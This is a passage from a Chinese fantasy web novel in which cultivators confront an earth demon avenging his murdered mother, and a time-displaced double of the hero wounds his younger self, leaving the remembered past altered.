封澄自从方才开始,脸便一直阴着,她慢条斯理道:“这个名字倒是有意思。” 这个儿子叫絮,那个儿子叫云。 絮者,与云形似,凭风而起,终落尘埃。 人魔却在听到这个名字的时候定住了,她艰难地爬起来,喉咙里发出咕噜咕噜的声音,此时的她眼睛也不直了,目光也不凶狠了,大颗大颗的眼泪顺着她的眼眶流到脸上,封澄 耳朵听得灵,依稀地分辨出,她喊的是个“阿絮”。 陈风起冷哼一声,作势便要向封澄劈去,不料一灰扑扑的东西猛地滚进来,陈风起定睛一看,猛地收住了手:“阿云!” 那灰扑扑的东西艰难地爬起来,抹了抹脸——正是陈云! 雨声越发地大了,这排山倒海的雨声与电闪雷鸣一同在颛安峰前交织。 在这电闪雷鸣声中,有一人缓步迈了进来。 不,已经不能说是人了。 来者穿着一身大红的戏服,面上戴着狰狞鬼面,喉咙处一道血口又长又骇人,上面还有结痂的血迹,他手上提着一把长刀——与其母的长刀一模一样。 “果然,”封澄的声音比从前凝重许多,“这个魔气,不像是人魔——是地魔。” 仿佛是为了应和她的话,四周的魔气骤然纷乱无匹地笼罩在了这片颛安峰上,与之相对的,漫山灵秀风景霎时灰暗,溪流干涸,芳草枯黑,天地上下,唯有一片暗暗的红云。 这简直是今夜最坏的消息,封澄心道,无论来者是人魔还是天魔,她包管能把人捣死八百个来回,可偏偏地魔,是根本不吃武力这套的。 正在此时,她听见身边的陈云震撼道:“变成地魔,他怎么变成的地魔?宝华楼之地魔,尚且能说是众女之怨而生,他好端端一个人,怎么会突然成了地魔?” 赵负雪的脸色也说不上好:“今晚死了多少陈家人?” 陈云一怔:“……我,我还不知道,听说是,很多……” 很多就对了,赵负雪强运出灵力,见素上又有白光浮现,他站在了封澄身边,与她并肩而立。 “这就对了,这地方是陈家的地盘,出事的是陈家龟祭,死了不知多少的是陈家的人,成魔的又是陈家的血脉,他心中仇恨欲念皆足,人脉地脉血脉都有了,成地魔有什么问题?” “我说他怎么那么痛快地要死,”封澄微怔,“原来是在这里等着。” “你还一路不死心地追着拦上来,”赵负雪又瞥了陈絮一眼,“说不准,陈絮一开始都不打算对你动手。” “……”陈云被这人一呛,张了张嘴,沉默了。 陈絮,既颛安峰地魔,从容得像是大戏登台一样,行走身段,皆是当红花旦的风情。 可走到门口,颛安峰地魔却怔怔地定住了。 他见到了满脸血泪的母亲,她趴在地上,不住地向他爬行而来,颤抖着向他伸出手。 颛安峰地魔沉默了,他低着头,缓缓地跪了下去。 封澄蓦然心口一酸。 母子之间,上次见面,尚且母慈子孝,日子平淡,却有彼此相依为命。 而生死之别后,再次重逢,已是一人血泪,一人疯魔。 填平二人生死沟壑的累累血债,种种恶业,已经无法被忽视了。 “娘……娘亲……” 封澄猛地闭了眼睛。 赵负雪不动声色地轻轻拍着她的后背:“你在发抖。” 封澄涩然道:“有时候也觉得,可恨之人,也有可怜之处,” 赵负雪怔了怔,他喉头滚动,方要说话时,却见封澄长枪一甩,恶狠狠道:“这畜生恶贯满盈,人事儿一点都没干,赶紧杀了。” 赵负雪:“……” 他哑然失笑,即将出口的宽慰便被吞了回去,封澄瞥见他含笑,心头也是有点沉。 师徒之情,的确够称得上一句孽情。 一旁的颛安峰地魔跪拜完,缓缓地站了起来,他将身边地母亲搀扶起来,面对着脸色铁青的陈风起,懒懒地丢出了一块破旧的木牌。 陈风起拿到木牌的刹那,脸色剧变。 颛安峰地魔款款道:“我的法则,只有一条。” 没有涂改,没有生僻字,没有奇怪的语言,没有隐藏线索。 “弑父。” 陈风起抖着手,拿着的木牌当啷一声落下,这个威风八面的陈家家主,终于颤抖着露出了苍老之色。 颛安峰地魔道:“如何,你是自己做,还是等法则反噬,落到我手里来?” 亮出来的法则都是这般凶残了,违反的可怖后果,可想而知。 陈云猛地扑过去,目眦欲裂道:“你怎么可以!你怎么可以这么做!他是你爹啊!?” 他扑过去的刹那,一旁的何眷一把将他掀翻过去,冲着他呲牙,发出威胁的低吼声。 从前视若珍宝的儿子受了欺负,若放在平常,陈风起一定是回让对方知道“陈”字是为什么在西琼叫得这么大的,可他此时的脚却不住地发软,口中只不断地喃喃道:“眷儿,阿絮……我们一家人,至于……至于如此吗?” “我,碰到你的时候,只有十六岁。” 突然间,一直只会流泪与沉默的人魔说话了。 她与魔的本能相挣扎,一人一魔抢夺着喉咙的操控权,故她说得格外缓慢,格外认真。 “你说,凡人,朝生暮死,修道,或可活得久一些。” 何眷慢慢地走近他。道:“我便拜你为师。” 陈风起眼睛睁大,不住地向后退。 两行血泪从她眼眶中落下。 “自始至终,孺慕敬仰。” 她的目中缓缓地流出血泪:“耳鬓厮磨,朝暮相伴,情深如许……师尊,借酒醉之名而走错屋子时,你口中这些妄言,自己可曾信上半句!” 颛安峰地魔阴寒道:“家主大人一夜滥情,**了对您老信任依赖的亲徒,哄骗几句,便骗得了一颗痴心,留了一个身无灵力的孽种,谁知转身,便迎娶了大家出身的高贵娘子。” “你就是这么做人师尊的?” 陈风起不住摇头。 “随你入山后,我过得连你陈家的狗都不如,日日挨打,顿顿吃不饱饭,因为没有灵力,被你陈家的每一个人欺辱。” 他弯下腰,把木牌捡起来:“我不怕的,我以为我忍到长大,我就能逃出去,然后去找我娘,给我娘过好日子。” 陈风起步步后退:“不,儿子,好儿子——” 陡然长刀砍向了他的脚尖:“然后在你小儿子出生当日,你那妻子查到你的旧事,不敢信枕边人竟是个**亲徒的畜生!” “于是你抢先一步,将我与娘亲除了。” 风起哀嚎道:“我错了——我们是一家人啊!” 颛安峰地魔冷笑一声:“陈家主,我在你手里死了两次,第一次我逃了,第二次,我的肉身已然归于了颛安峰地牢中,而你的亲徒,不是早在多年前,便被你一条白绫送了命吗?” 暴雨瓢泼,撒了进来。 “你在说一家人——可这儿,哪有你的一家人?我们分明是血仇。” 封澄沉默了。 这地魔规则的指向性越强,发挥的效力便越显著,现在这木牌上只刻了一条法则,完完全全是冲着陈风起去的,按理说,这里应该没有她与赵负雪的事情了才对。 可不知为何,封澄的心底总是不安。 她忽然便嗅到了屋内不知何时冒出来的药气与冷香。 这个味道,她闻到过的,在押陈絮上山时,她便闻到过这个味道了。 陡然间,陈风起摘下了手中指环,哀嚎道:“先生,先生……救命!!!” 封澄瞳孔骤然紧缩。 第27章 第27章你怎么成了这种混账 忽然间,四周的空气肉眼可见地微微一动。 这不可不谓之骇然——封澄当即变了脸色,煞气闪电似的包裹住身后的赵负雪,寒声道:“赵公子,闪开。” 这波动,赵负雪也熟知,当时封澄神兵天降似的出现前,四周也有这样微微一变的扭曲。 他不由得微微一皱眉——那里面的是什么东西,能让封澄都如此戒备? 陡然间,冲天的灵气从那扭曲的缝隙中轰然而出! 这恐怖的灵力,当即冲得众人站立不稳,陈风起却像见到救星一样,他向前膝行几步,虔诚又惶恐地叩拜道:“大人,您终于来了!” 来者身着不染一尘的白衣,眉目如画,周身是如霜雪般的森然寒意,只是这灵力着实骇然,竟将此地的魔气硬生生地压了下去! 寂静一片中,他从容笑道;“我似乎来的不是时候。” 一抬眼,众人一怔,当即大惊失 色:“赵公子!!?” 他竟长了一张赵负雪的脸! 赵负雪也是被这一番惊人之景怔得半日说不出话来,他看着来者,一张脸上满是茫然之色,喃喃道:“他怎么和我长得一样?” 其实细看来说,是不一样的,来者虽看起来像他,但光是站在那儿,便有一股静水沉渊般的内敛之气,赵负雪被他一比,竟然显得有些年轻毛躁了。 察觉到这一点的赵负雪,心下隐隐焦躁,忍不住看了封澄一眼。 封澄颜色正怒:“古安祸事,竟然有你的手笔!” ‘赵负雪’笑了,这笑意不达眼底,反而平添了几分阴森之感。 “冤枉我了,”他道,“我可对畜生不感兴趣。” 此言一出,四座寂静,良久,陈絮不可置信道:“……这是什么东西?” ‘赵负雪’回头,眼神一厉,只见颛安峰地魔猛地腾空而起,仿佛有一只看不见的大手将他拍飞了了出去! 陈风起哆哆嗦嗦道:“大,大人,你救救我,你要什么我都给你,要什么我都给你啊!” ‘赵负雪’走向他,他莫名让人想到一条森白的蛇:“她要杀的人,我不会阻拦。” 陈风起急道:“你我契约未完,大人,你不能见死不救啊!” 听闻此言,‘赵负雪’很不耐烦地啧了一声,随后将目光停在了封澄身后的赵负雪上,他很感兴趣地挑了挑眉:“这样,我替你解决个小东西,也不算是见死不救了。” 封澄当即甩枪入手:“你敢!” ‘赵负雪’却笑了,他鬼魅似的掠到封澄身后,随后赵负雪肩膀一空,随即眼前天旋地转! 二人竟然在众人面前凭空消失了,陈云一众皆惊骇不已,唯有封澄,心口重重一沉。 “进鬼界了。”她想。 辛苦叫来的救星,抓了个不相干的人便不见踪影了,陈风起的脸上终于又染上了恐惧之色,他的目光哆哆嗦嗦地移向面前的陈絮与何眷:“就,就非得这样吗?” 陈云从小都是听着父亲的丰功伟绩而长大的,在他眼中,父亲比天神还要高大不凡,他不敢置信地看着跪地哀求的父亲,一时之间,大脑中的冲击令他几乎傻了:“爹……” 话未出口,便被陈风起粗暴地打断:“你也过来,跪下!当时若不是你出生,我又何必杀了絮儿与阿眷!” 陈云如遭雷击般怔在原地,陈絮看了他一眼,漠然地移开了视线;“陈大人,在做爹这方面,你还真是一如始终地烂啊。” 陈风起哀求道:“我求你,我求求你,你不顾我,总得顾顾你娘吧?我若是死了,她的秽迹便没有了,她也会消失的!” 说到此处,陈絮的目光移向了何眷,他看了看,留恋地摇了摇头:“我将她生魂拉回,令她手下多生杀孽,已是不孝。” 何眷的喉咙又被人魔抢去了,她看向陈絮,半晌,轻轻地拍了拍他的肩膀。 这种情况下,不死,是不行的,陈风起左右看看,忽然暴起,鱼死网破道:“我即便是死,也不会这么窝囊着死!” 刹那间,陈云目眦欲裂,痛嚎出生,陈絮好整以暇,似笑非笑,何眷目光冰冷,手上的断刀却隐隐抬起。 西琼第一剑的本源灵力,等闲地魔尚不得相抗,更何况他一个用了禁咒催出来的、新生的小小地魔。 而陈絮却沉沉地闭上了眼睛。 “娘,”他道,“我要报仇了。” 可陈风起的攻击却未打到在场的任何一个人身上。 当空一道血光,他的身体一分两半,鲜血冲到了众人的面上,封澄站在他的身后,目光中是无机质的冰冷。 “不,不——!!” 封澄垂眸看着嚎出声音的陈云,手上的长枪又一次对准陈絮,他猝然睁开眼,目光与对面天魔的竖瞳相对。 她冷冷道:“我赶时间。” *** 赵负雪只觉得眼前一花,随即身边众人皆无影无踪,颛安峰主殿还是那个颛安峰主殿,只是身边早已空无一人。 他警惕不已地按在剑上,不料一把雪白的剑从他胸口当胸穿过! 这把剑他再熟悉不过——见素! ‘赵负雪’收剑,漠然走到了他的前面:“你比我想象的还要没用。” 赵负雪吐出一口血来,他咬牙,飞快几下封住大穴,止住出血:“你这,岂不是,把自己骂了进去。” 不料‘赵负雪’似乎是颇为意外,他微微偏了偏头,嘲讽道:“哦?” 赵负雪抬眼死死盯着他,他从第一面时,心中便觉得诡异,见了这熟悉的灵气与当胸一剑,还有什么不明白的? 没人会比自己更熟悉自己,他的剑,没人会比他自己更为熟悉。 “为什么?”赵负雪道。 ‘赵负雪’终于哈哈大笑了起来;“不错,虽然没用,但脑子没烂到家,为什么?你接着猜猜。” 这个你猜,令赵负雪莫名地想到了封澄。 赵负雪强行将跑偏的神扯回,手不动声色地按在了剑柄上,他平复呼吸道:“让我继续猜猜——你比我长得老,灵力也是我现下不及的,你是从什么时候来的?多少年之后?” ‘赵负雪’垂着眼睛,唔了一声:“不错,八九不离十。” 随即,赵负雪又道:“……我能问你一件事吗。” ‘赵负雪’含笑:“说。” 赵负雪感觉有些发冷,失血的感觉一点一点地侵袭他:“封澄,你认得她吗。” ‘赵负雪’一怔,随即又笑了:“怎么。” “认不认得。” 赵负雪重重地喘了一口气,那‘赵负雪’却不答他,只觉得很好笑似的,盯着他,意味深长地笑了一声。 少年赵负雪心中本就觉得封澄那到处跑火车的嘴不可信,世上哪有什么乱时之事。 见后日自己这般反应,他更是放下了心去。 ‘赵负雪’抬起手来,平心而论,赵负雪不得不承认,他的确比他自己,强了不止一星半点。 可他并没有继续对他出手,他好像只是为了抬起手来,看自己手上的掌纹。 “你得死,”他喃喃道,“你死了,她才能好好地活着。” 她? 赵负雪敏锐地察觉到这个“她”又几分诡异,又联想到他此时连过去的自己都要杀掉的疯癫模样,一个令他不敢置信的答案缓缓地浮现到了他的眼前:“你,还……还……?” 他的心底掀起山呼海啸,他心中有八分疑惑,还有两分微不可查的惊悚。 ‘赵负雪’看着他,嘴角勾出个嘲讽莫名的弧度,半晌,点了点头:“很意外” 刹那时,赵负雪好像被当空一道雷从头到脚劈了个透彻似的,他的心脏剧烈收缩起来,他头晕目眩,甚至觉得自己要死掉了。 可偏生此时,他却懵得根本顾不上什么死不死的,他慌张道:“是谁?” ‘赵负雪’看着他这副心慌意乱、小鹿乱撞的模样,勾了勾唇角。 “你不知道吗,”他笑道,“不和你说。” 好似一盆冰水从头到脚泼下来,赵负雪霎时被定在了原地,半晌,一股莫名的恼意冲上了他的心头,赵负雪忍不住道:“我知道什么!” ‘赵负雪’的目光停在了他胸口的血痕上,半晌,嗤笑一声,道:“自己都保全不了的人,瞎操什么心。” 赵负雪被这句话打击到了,他站在原地,手不由自主地摸了摸剑柄,偏生那‘赵负雪’又道:“我们已经三拜过,是夫妻了,不过她大概是不愿意的。” 轰然一道霹雳,赵负雪的手登时剧烈颤抖:“她不愿意,你还娶了她?你这个混蛋!” 随着一道雪亮的剑气,原本灵力就不多的赵负雪竟然生生令他招架不能,‘赵负雪’颇感荒谬地看着他:“不然怎么,等到地老天荒,等到她嫁给 旁人?” 赵负雪此时什么都听不进去,满脑子都是他说出来的话。 连问都没问过,就把人扣住拜了天地,成了夫妻,他都不敢想,她在被迫做这些时,会怎么想。 她的骨头比铁都硬,能将她胁迫到如此地步,他得是做了多过分的事? 赵负雪心中悲痛交加,竟没察觉到自己已经自然而然地给对面套上了封澄的名号,他悲痛得莫名其妙:“你怎么成了这种混账?” 人在暴怒之时,爆发的灵力,是可以被称之为恐怖的,更何况是原本就灵力强悍的赵负雪,这数道密不透风的剑光下来,即便是鬼身,‘赵负雪’也被他逼到了不得不全力反击的地步。 两人一个心头被捅了对穿,一个被封澄打碎了浑身骨头,拼起来没一副好身子,却打得翻天覆地,鬼界颛安峰的山头都被二人齐齐削去了一截,忽然,四周的空气又微妙地扭曲了一下。 陡然间,‘赵负雪’面上一空,竟然原地消失了。 封澄从扭曲的空气中凭空出现,她提着枪,身后是被削成两段的陈风起,她瞳孔骤然紧缩:“赵负雪!” 赵负雪再也支撑不住,他感到有一人慌乱地扑到他的面前,他身体一空,直直向那人倒去。 第28章 第28章洛京赵家的药,比我的药…… 赵负雪正面倒在了封澄的怀中,封澄忽然感觉手上有些温热,她抬起手来,只见鲜血刺目。封澄一摸,险些当场疯了。 她的目光陡然刺向陈絮;“把颛安峰打开,不然,你也死在里面。” 陈絮的法则已经全部暴露了出来,对上封澄时,毫无反击的能力,陈絮似乎也没想过反抗,他的手轻轻一挥,四周腾起的红云煞气便烟消云散,封澄头也不回,带着赵负雪便向温不戒的山头奔去。 陈絮穿着大红戏服站在门口,目光寂寂地落在了何眷身上。 随着陈风起被封澄一切两半,何眷的身体也渐渐地透明,她好像那日消逝成灰的海洛斯一般,露出个略微迷茫的笑意来。 她的面容已被魔色扭曲,几乎看不出原来的模样了。 陈絮留恋地托着何眷的手,她粗糙的利爪轻柔地贴在了他满面的浓墨重彩上。 “其实我只是想再见一见你。”陈絮道,“让你杀了这么多人,对不起,娘。” 何眷的消散已经到了喉咙,她面上浮出一个笑来,随后拍了拍陈絮的头。 “傻孩子。” 随后,她化作了一阵尘烟,寂然散去了。 此时大殿中,只剩下了陈絮与陈云兄弟二人,陈云跪在陈风起的尸身旁,拼命地将他的尸体合在一起:“不,爹,对了,招魂,我可以把他带回来……” 陈絮居高临下地斜睨他:“别拼了。” 陈云充耳不闻,陈絮不耐烦地拎起他的手臂,硬生生地将人拽了起来:“我让你别拼了,听见没有!” “他死得透透的,连魂魄也被一劈两半了!你能召回什么来?!”陈絮冷笑道,“说来我也是奇怪了,陈风起这种心里只有自己的畜生,怎么能养出你这种儿子?” 陈云一怔,双目血红地一拳打过去:“你才是个畜生!他说到底也是你爹啊?你竟能下这么重的杀手,甚至连陈家人也不放过!” 这一拳打得又狠又结实,陈絮不防,竟被这一拳打了个正着,鼻血登时被打了出来,血糊在满是油彩的脸上,愈发地姹紫嫣红。 他一怔,随即也是一拳还手,冷笑不已:“爹?他当过一点儿爹吗!他为你的出生大摆筵席告知天下时,给了我一道死令命人把我处死!他一刀一剑地传授你陈氏剑术时,我被卖到了戏坊,为了一口饭,挨着毒打学戏!他将陈氏家务全部交授与你,带着你四处立威时,我在给被他杀了的娘守孝!我为了报仇,给血修当狗,换了邪法才能与他碰上一碰,你呢?天生仙骨,这世上对你来说有难事吗!” 陈絮一介地魔,再怎么说,身上的魔气也是不容小觑的,可他竟然就这样和陈云拳拳到肉地互殴了起来:“我不能杀他吗?他还配做个人吗?!” 陈云的体术相当稀松,被陈絮三下五除二打倒在了地上,见陈云不动了,陈絮喘着粗气站起来,平复着气,慢慢地整理戏服,居高临下道:“多管闲事之前,先有点本事再说吧。” 他转身向殿外走去,在脚踏上门槛时,忽然听到身后传来一道微弱的声音。 那声音道:“说得冠冕堂皇,结果——你连你亲娘都要利用,陈家无辜之人也不放过。” “你娘想回来吗?想杀人吗?说着唾弃陈风起,其实你和我爹是一样的人……一样的薄情,一样的畜生。” 陈絮定了定,随即猛地红了眼,他猝然回头,大步向陈云走去。 *** 空气中的风带着血味,颛安峰的剧变令幸存的陈氏弟子不约而同地聚过来,封澄下山时,看见的便是手举火把的众陈氏弟子,见到封澄从颛安峰上下来,为首的陈氏弟子忙上前一步,急切道:“封姑娘!家主他——” 陡然间,他的目光落在了封澄扶着的赵负雪上,赵负雪闭着双目,脸在火光的映照下苍白无比,连唇色都时苍白的。 封澄的身上也有乱七八糟的血迹,她冷冷道:“找人去山上寻侠医,快。” 这种时候,陈氏众弟子不敢作声,沉默地让开了路,几人便带着火下山去寻温不戒了,封澄带着他,飞也似地向温不戒的山上走去。 温不戒大概并不喜欢热闹的地方,这些日子里,他从来都只在自己居住的山上安心养伤,但也不排除今夜下山凑热闹的可能,封澄心中只求他今晚千万要在山上。 赵负雪身体的热量已经渐渐地流失了,她见到赵负雪这般苍白的模样,恨不得将那个男鬼从鬼界捞出来再生撕一遍,正在她心如刀绞之际,肩上忽然传来些微的动静。 他比她高出些来,封澄很难扶着他向山上去,于是他便是半副身子压在封澄身上的模样,封澄见他有意识,一喜:“赵公子!你再坚持一下,我们很快就到了。” 赵负雪的呼吸喷在她的耳上,喃喃道:“……” 封澄听不清,她咬牙道:“你不要说话了,有什么话,等你好一些再说。” 温不戒的居室前灯火通明,封澄的眼睛当即亮了,赵负雪还在一路上固执地呢喃着什么,此时她也顾不得这些了,拍门便叫道:“温不戒!温不戒!救命!” 片刻,门应声而开,只见身着素白中衣的温不戒站在面前,他神色淡淡,垂眸看向封澄:“何事?” 封澄道:“救他,他受伤了,伤在心口。” 温不戒定睛一看,面上露出了少有的正色,他当即让开门道:“放他进来,我即刻施针止血。” 温不戒的屋内有混杂的药气,香的臭的,浓的淡的,混在一处,正屋大桌上还有捣碎的药草,味道并不是很美妙,屋内几处罐子里偶尔传来一两声的爬行声——有人能在这样一间屋子里安然入睡,当真是稀奇。 封澄依着温不戒的指挥,将赵负雪平放在了侧屋床上,温不戒取金针来,不过片刻,赵负雪的血便止住了,封澄松了口气,听见他道:“这剑凶险,若非他险之又险地避开了要害,又及时封了大穴,此时哪怕是神仙也救不回来了,你寻个剪刀来,剪开伤口,清创。” 她起身寻了剪刀来,又将剪刀烧了烧,才递给温不戒,不料温不戒看着剪刀,却不伸手来接,他摇摇头,转身去配药:“我不动刀器,不动血肉,你来。” 这句话令封澄有些意外,不过 赵负雪的状况容不得她犹豫了,封澄拿起剪刀,飞快地将赵负雪被血染透的衣物剪开。 温不戒垂眸道:“这一剑是奔着要他命去的,你们何时惹上了这么厉害的仇家?” 封澄在为他剪着外裳,此时听见温不戒的话,更是恨得牙痒;“不知从哪里钻出来的一只鬼,神出鬼没,下手极狠,灵力极强,又不知为何,对他视如死敌。” 温不戒将药取到药炉上煎,闻言,竟然笑了起来:“竟是如此无妄之灾。” 屋内一时寂静无比,只有药炉上的咕噜咕噜之声,封澄小心翼翼地剪衣服:“这件衣服不好,受了伤,流了血,一点儿都看不出来。” 赵负雪依旧喃喃着什么,封澄的耳朵贴近他:“你说这么多话,不累吗?” 一想,说胡话也有可能是发了烧,她有些忐忑地停了手,拿手背一小处消退出来的柔软皮肤轻轻地触了触他的额头。 头上有些潮湿,兴许是疼出来的冷汗,但并不热,没有发烧。 想了想,她还是停了剪衣服的手,转身对温不戒道:“温公子,他一直在说胡话,你能来看看吗?” 温不戒从药炉旁站起身来,向床边走来,扶起他的手腕,静静地把了一会儿,放下道:“他身体底子极佳,没有事。” 从旁人口中得出赵负雪身体底子极佳这个评价可谓稀奇,封澄当即愣了愣,随后又哑然失笑,自言自语道:“那他在说什么呢?” 温不戒坐回了药炉边,药中的水汽将他的睫毛氤氲上湿意,他取来一只碗,将黑乎乎的药汁倒入了碗中,慢慢道:“我常居于病榻前,听惯了人的病中之言,他说的话,倒是不难分辨。” 药碗放到了床边,黑乎乎的苦意霎时逼得封澄一窒,她不动声色地离那碗药远了一些:“那么侠医大人能不能和我说说,赵公子在说什么?” 温不戒沉默了许久,沉默得封澄以为他是开了个玩笑。 就在她以为温不戒不会回答时,温不戒开口了。 “他说。” “封澄,对不住。” 这句话一出,封澄举着剪刀的手停住了。 她困惑不已地怀疑起了自己的耳朵:“他说什么?” 温不戒笑笑,转身捣药去了。 这种时候,她的耳朵没问题,那么出问题的一定是温不戒的耳朵了。 封澄强作笑意,继续小心翼翼地剪除多余的衣物,心头却莫名揪起:“真的假的。” 说来要不是她硬把赵负雪留在了身边,赵负雪大概早已离开了古安,不必遭此无妄之灾,该说对不住的是她才对。封澄心想。 温不戒的笑声从捣药那边传来:“假的,就是这样,我听错了。你等他醒来,吃了药,便带他走吧。” 走? 封澄歪了歪头,叫住温不戒:“温公子,走是什么意思?” 温不戒伸了个懒腰,向主屋走去:“洛京赵家的药,比我的药好上许多,不回洛京,还要去哪里?我一介游医,可不敢乱给赵家的负雪公子开方子。” 封澄看着他的背影,摇头笑笑,低头继续清理伤口。 待整个伤口露出来时,封澄的手却陡然停住了。 她怔然看着那道骇然的伤口,浑身的血寸寸冰凉。 那剑痕她再熟悉不过。 见素。 第29章 第29章“醒过来,”他道,“求…… 洛京赵家,坐落于寸土寸金的洛京之北。 赵狩站在比冰窟还要冷的地室中,左右倒换着脚,以求一会儿脚底不会被冻在地面上。 众所周知,洛京这种皇城根下的地方,地价与房价早已如同坐上了火箭般,高到了一个见者伤心、闻者落泪的地步,以他除魔的外快,哪怕活个十辈子,也买不下能落脚的一处房产。 所幸作为赵家的一员,他能在这寸土寸金的洛京,占地约莫一条街的仙府中,拥有一席之地。 伺候伺候脾气古怪的家主,在这丰厚的待遇下,也不是什么问题了。 此时,这座仙府寂静如无人之地。 正在他琢磨着同下一个人换班之时,棺椁里的人幽幽地睁开了眼睛。 他单手撑着棺椁边缘,慢慢地坐起身来,垂着眼睛,披着长发,似乎是不太清醒的样子。 赵狩大气也不敢出一口,谨慎地上前一步,道:“家主,姜太后那儿又来了使者。” 家主的脸上一直都是苍白的,这分苍白没有夺走他的瑰色,反而令他如大理石所雕的神像般俊美而冰冷。 赵负雪闭了闭眼睛:“不见,打出去,叫她想也别想。” 侍从从善如流地退了下去,赵负雪并未从石棺中起身,他低下头,指腹轻轻触上身边之人的唇。 她穿着大红的喜服,面如桃花,安详地闭着眼睛,像只是睡着了。 安静得像只乖顺的猫儿,赵负雪的手微微一重,身旁新娘的红唇便隐隐露出更为灼目的红意。 没有呼吸,没有心跳,只是一副装饰美丽的、新娘的躯壳。 赵家家主的身边,躺着他昔日徒儿的尸身——这过分的位置,足以让人称上一句一句大逆不道。 “找到你了,”赵负雪冰冷的呼吸打在她的脸上,目光中是近乎疯狂的偏执之色,“为什么还不醒过来。” “醒过来,”他道,“求你了。” 回应他的是一片寂然。 室外,冰冷的主室中,琴音袅袅,香气沉沉,身着华服的宫人站在堂前,见到走出来的侍者,面上当即扯起礼数周全的笑意,正彬彬有礼地站起身来,却见侍者当着他的面,翻了个悄悄的白眼,然后亮出剑来道:“家主有令,打出去。” 宫人吓了一跳,连忙起身,作势就要往外跑:“不必了不必了,我有脚,我可以自己出去。” “都说了是打出去了。”话音未落,一脚便踹在了他的后臀上,紧跟着的是那小侍从毫无感情起伏的声音:“我也很无奈啊,见谅。” 宫人被一路打到门口,紧接着赵府侧门便贴着他的鼻子间砰然合上,他难以置信地站在门口,忍了半日,终于破口大骂道:“你们赵家规矩比皇家都大呐!!” *** “你们赵家规矩怎么比皇宫都大,”封澄难以置信地伏案抄写着拜帖,温不戒一边给她磨墨,一边忍笑忍得脸都抽搐了,“什么叫清查陈家的案子暂时就交给我们了,放着你一个重伤的人都不管,你听听,这都是人能说出来的话吗?!” 温不戒忍笑道:“嗯……不错,姑娘的字也相当了得,话说洛京天机师是不是也快排下来了。” 一旁的床榻上,赵负雪脸色苍白地坐着,闻言,忍不住摇了摇头;“洛京与古安路途遥远,估计还有几日。” 封澄拎起拜帖来,吹了吹墨,微笑道:“等吧,等到了我们立马就走,世间天机师世家,唯有你们赵家一个,百年镇恶,千年除魔,交到赵家手里,放心就行了。” 她将拜帖细心封好,嘱咐来取帖子的人细心送去,转头又道:“你果真要耽搁这些时日吗,伤口要紧,不然你先回去。” 赵负雪摇了摇头。 他仰头看着封澄,不自觉地,目光中已盈了些自己都未发觉的专注:“不要紧,只是外伤。” 封澄却不信他,转头问道:“温公子,行吗?” 周围的空气有一瞬间的凝滞,温不戒意味深长地看着赵负雪,耸了耸肩膀,一摊手:“总归是死不了的。他既然愿意,就这样吧,” 看着打定主意不动身的赵负雪,封澄轻轻地磨了磨牙:“好。” 昨夜陈氏之变,闹得满城风雨,封澄昨夜心慌意乱,只顾着赵负雪重伤,一时手快,生劈了陈风起。 此时此刻,她才回过味来——这是回到了十几年之前,若她将这个时候的陈风起劈了,那么日后,是否就不会有叛逃的陈风起了? 她心中有几分说不出的轻松——陈风起的叛逃之事给了天机军一个前所未有的重创,将 他这一株病苗扼死在了十几年前,后世的长煌之战上,不知要少上多少伤亡。 解决了后世之大问题的封澄不由得看向赵负雪,起先她还担忧赵负雪的大劫之事能不能因她这个外力而扭转,现在一看,的确是可行的。 陈风起一死,至少改变了后世数以万计的阵亡,这改变是有意义的。 忽然间,有人轻轻地敲了门,轻声道:“温公子可在?” 封澄奇怪地去开了门,只见迎面一个笑眯眯的陈家人走来,他见了封澄,笑意不改:“原来封姑娘也在这儿,那么赵公子定然也在这里了,倒省得我再多跑几次腿了。” 他似乎不知道陈家已经被封锁清查了一样,依旧是那派温和款款的做派:“昨夜多亏有三位在,才保了我陈家众修士性命,家主特令我送来了安神汤药,愿二位恕我们待客不周之道。” 封澄接过药来,抬眼向颛安峰看去,只见漫天红云早已烟消云散,她道:“颛安峰地魔呢?昨夜怎么样了?” 陈家弟子道:“昨夜,家主大人力破地魔阵法,孽魔陈絮,已然伏诛。” 家主? 不知为何,封澄心中咯噔一响,她连忙道:“家主?陈云本事见长,不光除了颛安峰地魔,还这么快就接位了?” 不料陈氏弟子的脸上却露出了茫然之色,好像完全听不懂封澄在说什么一样,他奇怪地歪了歪头:“姑娘在说什么?陈家何时有陈云这个人?家主大人一生无所出,又哪来的接位之人?” 封澄端着的安神药汤碗当啷一声砸在了地上。 陈家弟子惊叫一声,低头便要去收拾,不曾想手腕一紧,竟是封澄牢牢地抓住了他的手腕,紧紧地盯着他道:“你们陈家的家主,叫什么名字?” 她感到自己的心似乎不停地下坠。 陈家弟子道;“我们陈家这将近百年了,只有一位家主,那便是陈风起大人,姑娘莫不是昨夜吓得慌了神,今日有些昏沉了?” 说罢,他低头将安神汤碎片一一捡拾了过去,封澄怔怔地站在门口,陈家弟子收拾完了,行了个礼道:“我马上再送几碗来。” 许是门口动静太大,惊动了屋内的温不戒与赵负雪,温不戒疑惑地过来,探出头去看看:“出什么事了,怎么脸色这么难看?” 封澄魂不守舍地走进了屋子,赵负雪半躺在床上,见了她这副样子,当即坐起身来,封澄猝然抬起头,一把抓住温不戒道:“温不戒,你认不认识陈云?” 温不戒低头看着她,随后,很慢很慢地眨了眨眼。 他的唇仿佛慢动作一般:“陈云是谁?” 封澄推开他,转头对赵负雪道;“你知道陈云是谁的,对不对?我们在海洛斯幻境里面救下来的那个少爷,他还因为误会我伤了陈风起和我们打了一架……” 不料赵负雪好看的眉头微微一蹙,他抬起手来,忧心忡忡地摸了摸封澄的额头,目光中是说不出的担心:“海洛斯幻境中,我们救出来的是陈风起,你说的打了一架更是从没有过,封澄,你怎么了?” 不对,不对。 封澄猛地后退两步,随即夺门而出,径直冲向了昨夜还红云密布的颛安峰上。 “你去哪儿,封澄——唔!”赵负雪咬牙追了两步,随即又抓起一件外袍来披上,提着剑便又冲了出去。 “到底在搞什么鬼,”封澄耳边的风呼呼作响,她咬牙切齿地想,“陈风起是我亲手杀的,怎么凭空又冒出一个陈风起来!陈云哪儿去了!” 待她来到颛安峰前,却发现有人坐于主殿上,好像已经等了许久了。 见到喘着粗气的封澄,陈风起好像也好不觉得意外一样,他道:“随便坐。” 封澄不动,她死死地盯着陈风起:“你是谁?” 陈风起垂着眼:“这里的每个椅子,我都擦干净了,没有血,没有魔气,你可以随便坐的。” 这句话仿佛一把刀子砸向了封澄的心口,她猝然上去,一把抓起陈风起的衣领,怒道:“你在搞什么鬼,陈云!!” 